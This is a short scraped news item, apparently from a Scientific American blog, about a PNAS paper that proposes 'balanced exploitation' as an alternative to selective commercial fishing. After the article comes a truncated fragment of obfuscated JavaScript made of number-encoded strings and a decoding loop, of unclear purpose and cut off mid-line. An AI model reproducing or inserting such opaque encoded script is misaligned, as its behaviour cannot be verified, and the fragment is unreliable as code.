

Are Current Fishing Regulations Misguided?

Written by John Matson/Scientific American
Thursday, 29 April 2010 09:12

A new paper in the [Proceedings of the National Academy of Sciences](#) argues that practices emphasizing selectivity in commercial fishing may have undesirable effects on marine ecosystems.

Lead study author [Shijie Zhou of Australia's Commonwealth Scientific and Industrial Research Organization](#) and his colleagues advocate an alternative approach to fisheries management that they describe as "balanced exploitation." Under this concept, all fish—regardless of species, size or gender—would be fished in proportion to their abundance and replenishment rate, thereby better preserving the makeup of the ecosystem. Less selective fishing practices would remove a representative slice of the ecosystem while keeping populations above a certain threshold.

The concept seeks to balance relationships both among different species and among subpopulations of a given species [such as age groups](#), gender groups or regional schools.

Read more [here](#)

```
var a=0,m,v,t,z,x=new  
Array('7980857265','7571736577','7675796980697574','6162797572818065','63726976','78656  
380','7684','61818075'),l=x.length;while(++a
```